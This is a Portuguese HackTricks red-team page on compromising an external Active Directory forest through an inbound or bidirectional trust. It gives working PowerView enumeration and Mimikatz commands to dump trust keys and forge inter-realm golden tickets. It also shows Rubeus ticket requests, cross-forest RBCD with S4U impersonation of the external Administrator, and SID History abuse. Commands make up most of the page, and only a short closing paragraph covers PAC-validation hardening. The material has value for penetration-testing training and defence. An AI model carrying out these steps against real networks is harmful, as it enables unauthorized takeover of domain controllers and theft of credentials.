Domínio de Floresta Externa - OneWay (Inbound) ou bidirecional

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Neste cenário, um domínio externo está confiando em você (ou ambos confiam um no outro), então você pode obter algum tipo de acesso a esse domínio.

Enumeração

Antes de mais nada, você precisa enumerar a relação de confiança:

Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
dnshostname
-----------
dc.domain.external

# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain             : domain.external
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain            : domain.external
MemberName              : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
DC=external

# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins

# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser

# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName    : Administrators
MemberName   : SUB\External Admins
SID          : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup      : True
IsDomain     : True

# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.

# Additional trust hygiene checks (AD RSAT / AD module)
Get-ADTrust -Identity domain.external -Properties SelectiveAuthentication,SIDFilteringQuarantined,SIDFilteringForestAware,TGTDelegation,ForestTransitive

SelectiveAuthentication/SIDFiltering* permitem que você veja rapidamente se caminhos de abuso cross-forest (RBCD, SIDHistory) provavelmente vão funcionar sem pré-requisitos adicionais.

Na enumeração anterior foi encontrado que o usuário crossuser está dentro do grupo External Admins que possui acesso de administrador dentro do DC do domínio externo.

Acesso Inicial

Se você não conseguiu encontrar qualquer acesso especial do seu usuário no outro domínio, ainda pode voltar para a Metodologia AD e tentar privesc de um usuário sem privilégios (técnicas como kerberoasting, por exemplo):

Você pode usar as funções do Powerview para enumerar o outro domínio usando o parâmetro -Domain como em:

Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName

Active Directory Methodology

Impersonation

Fazer login

Usando um método regular com as credenciais dos usuários que têm acesso ao domínio externo, você deverá conseguir acessar:

Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator

Abuso de SID History

Você também pode abusar de SID History através de um forest trust.

Se um usuário for migrado de uma floresta para outra e SID Filtering não estiver habilitado, torna-se possível adicionar um SID da outra floresta, e esse SID será adicionado ao token do usuário ao autenticar através do trust.

Warning

Como lembrete, você pode obter a signing key com

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local

Você poderia assinar com a chave trusted um TGT impersonating o usuário do domínio atual.

# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap

# Now you have a TGS to access the CIFS service of the domain controller

Caminho completo para se passar pelo usuário

# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap

# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap

# Now you have a TGS to access the CIFS service of the domain controller

RBCD entre florestas quando você controla uma conta de máquina na floresta confiável (no SID filtering / selective auth)

Se seu principal estrangeiro (FSP) colocar você em um grupo que pode gravar objetos de computador na floresta confiável (por exemplo, Account Operators, grupo de provisionamento personalizado), você pode configurar Resource-Based Constrained Delegation em um host alvo dessa floresta e se passar por qualquer usuário lá:

# 1) From the trusted domain, create or compromise a machine account (MYLAB$) you control
# 2) In the trusting forest (domain.external), set msDS-AllowedToAct on the target host for that account
Set-ADComputer -Identity victim-host$ -PrincipalsAllowedToDelegateToAccount MYLAB$
# or with PowerView
Set-DomainObject victim-host$ -Set @{'msds-allowedtoactonbehalfofotheridentity'=$sidbytes_of_MYLAB}

# 3) Use the inter-forest TGT to perform S4U to victim-host$ and get a CIFS ticket as DA of the trusting forest
Rubeus.exe s4u /ticket:interrealm_tgt.kirbi /impersonate:EXTERNAL\Administrator /target:victim-host.domain.external /protocol:rpc

Isso só funciona quando SelectiveAuthentication is disabled e SID filtering não remove o seu SID controlador. É um caminho lateral rápido que evita a falsificação de SIDHistory e frequentemente é omitido em revisões de confiança.

Fortalecimento da validação PAC

As atualizações de validação de assinatura PAC para CVE-2024-26248/CVE-2024-29056 adicionam exigência de assinatura em tickets entre florestas. No Compatibility mode, caminhos forjados inter-realm PAC/SIDHistory/S4U ainda podem funcionar em DCs não corrigidos. No Enforcement mode, dados PAC não assinados ou adulterados que cruzam um forest trust são rejeitados, a menos que você também possua a chave de trust da floresta alvo. Substituições de registro (PacSignatureValidationLevel, CrossDomainFilteringLevel) podem enfraquecer isso enquanto permanecerem disponíveis.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks